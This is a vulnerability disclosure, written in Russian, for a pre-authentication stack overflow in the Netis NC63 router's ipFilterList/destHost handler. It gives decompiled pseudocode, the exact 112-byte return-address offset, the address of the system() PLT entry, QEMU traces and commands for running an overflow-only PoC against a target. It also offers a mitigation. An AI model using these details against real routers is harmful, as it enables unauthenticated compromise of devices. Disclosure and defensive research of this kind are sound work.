
Оригинальное исследование и неразрушающий PoC для переполнения буфера стека до аутентификации через неограниченный scanset в sscanf в обработчике ipFilterList на Netis NC63
sscanf %[^,] в обработчике ipFilterList в skk_set.cgi в Netis NC63Исследователь: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostУниверсальный парсер MIB/значений в прошивке Netis NC63 V3.0.0.3327
разбирает поле destHost в ipFilterList с помощью двух наборов
сканирования %[^,], но без максимальной ширины поля. Каждое преобразование
записывает в 16-байтовый локальный буфер стека. Таким образом, HTTP-клиент
может отправить длинный компонент без запятых и перезаписать сохранённые
управляющие данные функции.
Для динамически протестированного второго компонента destHost сохранённый
ra находится ровно в 112 байтах от локального буфера. Трассировка QEMU для
CGI с оригинальным хэшем подтвердила третий вход, выбранный атакующим, по
адресу 0x0040f7f4. В отдельном тесте только наблюдения возврат был
перенаправлен на исходный путь PLT функции system() по адресу
0x00423ab0 с сохранением управляемых атакующим данных запроса в качестве
точного аргумента MIPS a0. Защищённый /bin/sh записал маркер и не
выполнил ни одной команды.
Публичный PoC намеренно содержит только слишком длинный шаблон B. Он не
включает приватное значение передачи управления или конструкцию командной
границы.
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

Фронтенд производителя формирует srcHost и destHost как три компонента,
разделённых запятыми, и отправляет их вместе с ipFilterList на
/cgi-bin/skk_set.cgi:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

Проверенный CGI-запрос в форме HTTP не содержал заголовков Cookie или
Authorization. /tmp/boa_auth отсутствовал, однако выполнение продолжилось
в ветке парсера ipFilterList=mod и destHost. Дефект повреждения памяти —
набор сканирования без ширины в FUN_0040f7f4; более широкая ошибка
авторизации CGI — это условие, которое открывает доступ к этому
привилегированному обработчику до аутентификации.

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
Метаданные исходного libapmib.so сопоставляют и srcHost, и destHost с
типом 0x0c, который выбирает эту ветку парсера. Динамическая проверка
выполнялась с destHost; srcHost включён как статическое покрытие того же
парсера, а не как отдельное динамическое утверждение.

Нормализованный псевдокод, полученный из Ghidra:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() сам по себе не является уязвимостью. Дефект в том, что %[^,] не
имеет максимальной ширины поля, поэтому sscanf не знает, что каждый
приёмник имеет размер всего 16 байт. Формат с учётом ёмкости использовал бы
ширину, например %15[^,], проверял, что успешно выполнены ровно три
преобразования, а затем проверял разобранные значения адресов. Это пример
смягчения, а не исправление от производителя.
FUN_0040f7f4 начинается по адресу 0x0040f7f4 и создаёт кадр размером
0x1d0 байт:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
Приёмники типа 0x0c находятся по адресам fp+0x14c и fp+0x15c.
Сохранённый ra находится по адресу fp+0x1cc, что даёт точное расстояние
от второго буфера:
0x1cc - 0x15c = 0x70 = 112 bytes

Изолированное доказательство PC использовало 112 байт заполнения, за
которыми следовали три младших байта 0x0040f7f4 в little-endian;
завершитель sscanf предоставил четвёртый нулевой байт. QEMU наблюдал два
обычных входа в парсер, за которыми последовал третий вход, вызванный
перезаписанным обратным адресом:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

Отдельная приватная проверка сформировала сохранённый ra=0x00423ab0 —
путь PLT функции system() исходного бинарного файла. Суффикс управляемого
ключа запроса остался в MIPS a0 при возврате. Временное окружение заменило
/bin/sh на статический регистратор:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
Это устанавливает примитив RCE в изолированном пути продакшн-кода. Точная надёжность эксплуатации физического маршрутизатора, поведение рандомизации ядра и доступность по WAN по умолчанию не тестировались.
Протестированный netis.cgi побайтно идентичен продакшн-артефакту.
Поскольку состояние MIB, хранящееся во флэш-памяти, недоступно в qemu-user,
временная корневая ФС использовала раскрытую лабораторную адаптацию
libapmib.so, которая выделяла обнулённое состояние MIB и корректировала
одно выравнивание упакованного поля. Это не меняло CGI, парсер запросов,
уязвимый sscanf, кадр стека, смещение сохранённого возврата, эпилог или
путь system(). Статические метаданные получены из исходного libapmib.so
производителя.
Исходный исполняемый файл имеет фиксированный базовый адрес, не содержит стековой канарейки и RELRO, а также имеет исполняемый стек и RWX-сегмент. Эти свойства поддерживают анализ эксплуатируемости, но не заменяют динамические тесты PC и защищённой границы.

Пробный запуск генерации URL-закодированного тела:
python3 poc/poc.py
Явная передача авторизованной временной цели:
python3 poc/poc.py --target http://192.168.1.1 --send
Публичный скрипт использует 115-байтовый компонент B для демонстрации
условия переполнения. Его отправка может вызвать сбой CGI-процесса. Он не
содержит строки команд, шеллкода, адреса возврата к system, реверс-шелла
или механизмов персистентности.
Успешная эксплуатация может выполнять выбранные атакующим команды в контексте управления маршрутизатором. Исходная конфигурация Boa запускает CGI от имени root. Возможные последствия включают раскрытие конфигурации маршрутизатора и секретов, манипуляцию DNS/межсетевым экраном/ маршрутизацией, перенаправление трафика, нарушение обслуживания и полную компрометацию устройства.
%15[^,] для каждого 16-байтового приёмника и требуйте трёх успешных преобразований.%s и %[...] без ширины.См. evidence/README.md. Нормализованный псевдокод и
доказательства инструкций находятся в
attachments/decompiled-functions/.
CVE-2026-76071 и разрешил публичное раскрытие.Ни один физический маршрутизатор не был прошит. Не использовались реальные команды, шеллкод, реверс-шелл, персистентность, внешние сетевые подключения или деструктивные операции.